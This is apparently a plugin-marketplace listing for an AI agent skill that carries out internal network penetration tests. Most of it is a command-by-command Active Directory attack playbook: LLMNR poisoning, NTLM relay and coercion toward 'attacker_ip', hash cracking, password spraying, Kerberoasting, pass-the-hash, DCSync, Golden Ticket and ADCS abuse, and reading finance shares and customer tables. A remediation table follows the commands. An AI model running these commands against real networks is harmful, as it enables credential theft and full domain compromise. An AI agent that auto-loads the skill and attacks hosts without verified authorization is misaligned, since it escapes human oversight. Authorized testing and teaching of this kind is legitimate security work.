Stats
Actions
Tags
From asi
Executes internal network penetration tests simulating insider threats or post-breach access to identify lateral movement paths, privilege escalation vectors, and sensitive data exposures.
How this skill is triggered — by the user, by Claude, or both
Slash command
/asi:conducting-internal-network-penetration-testThe summary Claude sees in its skill listing — used to decide when to auto-load this skill
An internal network penetration test simulates an attacker who has already gained access to the internal network or a malicious insider. The tester operates from an "assumed breach" position — typically a standard domain workstation or network jack — and attempts lateral movement, privilege escalation, credential harvesting, and data exfiltration to determine the blast radius of a compromised e...
An internal network penetration test simulates an attacker who has already gained access to the internal network or a malicious insider. The tester operates from an "assumed breach" position — typically a standard domain workstation or network jack — and attempts lateral movement, privilege escalation, credential harvesting, and data exfiltration to determine the blast radius of a compromised endpoint.
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
# Identify your own network position
ip addr show
ip route show
cat /etc/resolv.conf
# ARP scan for live hosts on local subnet
arp-scan --localnet --interface eth0
# Nmap host discovery across internal ranges
nmap -sn 10.0.0.0/8 --exclude 10.0.0.1 -oG internal_hosts.gnmap
nmap -sn 172.16.0.0/12 -oG internal_hosts_172.gnmap
nmap -sn 192.168.0.0/16 -oG internal_hosts_192.gnmap
# Extract live hosts
grep "Status: Up" internal_hosts.gnmap | awk '{print $2}' > live_hosts.txt
# Port scan live hosts — top 1000 ports
nmap -sS -sV -T4 -iL live_hosts.txt -oA internal_tcp_scan
# Service-specific scans
nmap -p 445 --open -iL live_hosts.txt -oG smb_hosts.gnmap
nmap -p 3389 --open -iL live_hosts.txt -oG rdp_hosts.gnmap
nmap -p 22 --open -iL live_hosts.txt -oG ssh_hosts.gnmap
nmap -p 1433,3306,5432,1521,27017 --open -iL live_hosts.txt -oG db_hosts.gnmap
# Enumerate domain information with domain credentials
# Using CrackMapExec / NetExec
netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --shares
netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --users
netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --groups
# LDAP enumeration
ldapsearch -x -H ldap://10.0.0.5 -D "[email protected]" -w "Password123" \
-b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName memberOf
# Enumerate Group Policy Objects
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --gpp-passwords
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --lsa
# BloodHound data collection
bloodhound-python -u 'testuser' -p 'Password123' -d corp.local -ns 10.0.0.5 -c all
# Import JSON files into BloodHound GUI for attack path analysis
# Enum4linux-ng for legacy enumeration
enum4linux-ng -A 10.0.0.5 -u 'testuser' -p 'Password123'
# SMB share enumeration
smbclient -L //10.0.0.10 -U 'testuser%Password123'
smbmap -H 10.0.0.10 -u 'testuser' -p 'Password123' -R
# SNMP enumeration
snmpwalk -v2c -c public 10.0.0.1
# DNS zone transfer attempt
dig axfr corp.local @10.0.0.5
# NFS enumeration
showmount -e 10.0.0.15
# MSSQL enumeration
impacket-mssqlclient 'corp.local/testuser:[email protected]' -windows-auth
# Responder — LLMNR/NBT-NS/mDNS poisoning
sudo responder -I eth0 -dwPv
# Capture NTLMv2 hashes from Responder logs
cat /usr/share/responder/logs/NTLMv2-*.txt
# mitm6 — IPv6 DNS takeover
sudo mitm6 -d corp.local
# ntlmrelayx — relay captured credentials
impacket-ntlmrelayx -tf smb_targets.txt -smb2support -socks
# PetitPotam — coerce NTLM authentication
python3 PetitPotam.py -u 'testuser' -p 'Password123' -d corp.local \
attacker_ip 10.0.0.5
# Crack captured NTLMv2 hashes
hashcat -m 5600 ntlmv2_hashes.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule
# Password spraying (careful with lockout policies)
netexec smb 10.0.0.5 -u users.txt -p 'Spring2025!' --no-bruteforce
netexec smb 10.0.0.5 -u users.txt -p 'Company2025!' --no-bruteforce
# Kerberoasting — target service accounts
impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5 \
-outputfile kerberoast_hashes.txt
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
# AS-REP Roasting — target accounts without pre-auth
impacket-GetNPUsers 'corp.local/' -usersfile users.txt -dc-ip 10.0.0.5 \
-outputfile asrep_hashes.txt
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
# Pass-the-Hash with Impacket
impacket-psexec 'corp.local/[email protected]' -hashes :aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b
# WMI execution
impacket-wmiexec 'corp.local/admin:[email protected]'
# Evil-WinRM for PowerShell remoting
evil-winrm -i 10.0.0.30 -u admin -p 'AdminPass123'
# SMBExec
impacket-smbexec 'corp.local/admin:[email protected]'
# RDP access
xfreerdp /v:10.0.0.30 /u:admin /p:'AdminPass123' /cert-ignore /dynamic-resolution
# SSH pivoting
ssh -D 9050 [email protected]
proxychains nmap -sT -p 80,443,445,3389 10.10.0.0/24
# Windows privilege escalation
# Check for local admin via token impersonation
meterpreter> getsystem
meterpreter> run post/multi/recon/local_exploit_suggester
# PowerShell-based privesc checks
# Run PowerUp
powershell -ep bypass -c "Import-Module .\PowerUp.ps1; Invoke-AllChecks"
# Check for unquoted service paths
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows" | findstr /i /v """
# Linux privilege escalation
./linpeas.sh
sudo -l
find / -perm -4000 -type f 2>/dev/null
cat /etc/crontab
# DCSync attack (requires replication rights)
impacket-secretsdump 'corp.local/domainadmin:[email protected]' -just-dc
# Golden Ticket attack
impacket-ticketer -nthash <krbtgt_hash> -domain-sid S-1-5-21-... -domain corp.local administrator
# Silver Ticket attack
impacket-ticketer -nthash <service_hash> -domain-sid S-1-5-21-... \
-domain corp.local -spn MSSQL/db01.corp.local administrator
# ADCS exploitation (Certifried, ESC1-ESC8)
certipy find -u '[email protected]' -p 'Password123' -dc-ip 10.0.0.5
certipy req -u '[email protected]' -p 'Password123' -target ca01.corp.local \
-template VulnerableTemplate -ca CORP-CA -upn [email protected]
# Access sensitive file shares
smbclient //10.0.0.10/Finance -U 'domainadmin%DaPass123'
> dir
> get Q4_Financial_Report.xlsx
# Database access
impacket-mssqlclient 'sa:[email protected]'
SQL> SELECT name FROM sys.databases;
SQL> SELECT TOP 10 * FROM customers;
# Extract proof of access (DO NOT exfiltrate real data)
echo "PENTEST-PROOF-INTERNAL-$(date +%Y%m%d)" > /tmp/proof.txt
# Document access chain
# Initial Access -> Responder -> NTLMv2 crack -> Lateral to WS01
# -> Local admin -> Mimikatz -> DA creds -> DCSync -> Full domain compromise
Attack Path 1: Domain Compromise via LLMNR Poisoning
Step 1: LLMNR/NBT-NS poisoning captured NTLMv2 hash (T1557.001)
Step 2: Hash cracked offline — user: jsmith, password: Welcome2025!
Step 3: jsmith had local admin on WS042 — lateral movement via PsExec (T1021.002)
Step 4: Mimikatz extracted DA credentials from WS042 memory (T1003.001)
Step 5: DCSync with DA credentials — all domain hashes extracted (T1003.006)
Impact: Complete domain compromise from unauthenticated network position
| Finding | CVSS | MITRE ATT&CK | Remediation |
|---|---|---|---|
| LLMNR/NBT-NS poisoning | 8.1 | T1557.001 | Disable LLMNR/NBT-NS via GPO |
| Kerberoastable service accounts | 7.5 | T1558.003 | Use gMSA, 25+ char passwords |
| Local admin reuse | 8.4 | T1078 | Deploy LAPS, unique local admin passwords |
| Weak domain passwords | 7.2 | T1110 | Enforce 14+ char minimum, blacklist common passwords |
| Unrestricted DCSync | 9.8 | T1003.006 | Audit replication rights, implement tiered admin model |
| Tool | Purpose |
|---|---|
| Responder | LLMNR/NBT-NS/mDNS poisoning |
| Impacket | AD attack suite (secretsdump, psexec, wmiexec, etc.) |
| BloodHound | AD attack path visualization |
| NetExec (CrackMapExec) | Network service enumeration and spraying |
| Evil-WinRM | PowerShell remoting client |
| Certipy | AD Certificate Services exploitation |
| Mimikatz | Windows credential extraction |
| Hashcat | Password hash cracking |
| Nmap | Network scanning and enumeration |
| LinPEAS/WinPEAS | Privilege escalation enumeration |
npx claudepluginhub plurigrid/asi --plugin asiSimulates an insider threat or post-breach attacker on the internal network, covering lateral movement, privilege escalation, and credential harvesting using tools like Impacket and Responder.
Simulates an insider threat or post-breach attacker to identify lateral movement paths, privilege escalation vectors, and sensitive data exposure within a corporate network.
Executes internal network penetration tests from a compromised host, enumerating services, Active Directory, and capturing credentials to map lateral movement and privilege escalation paths.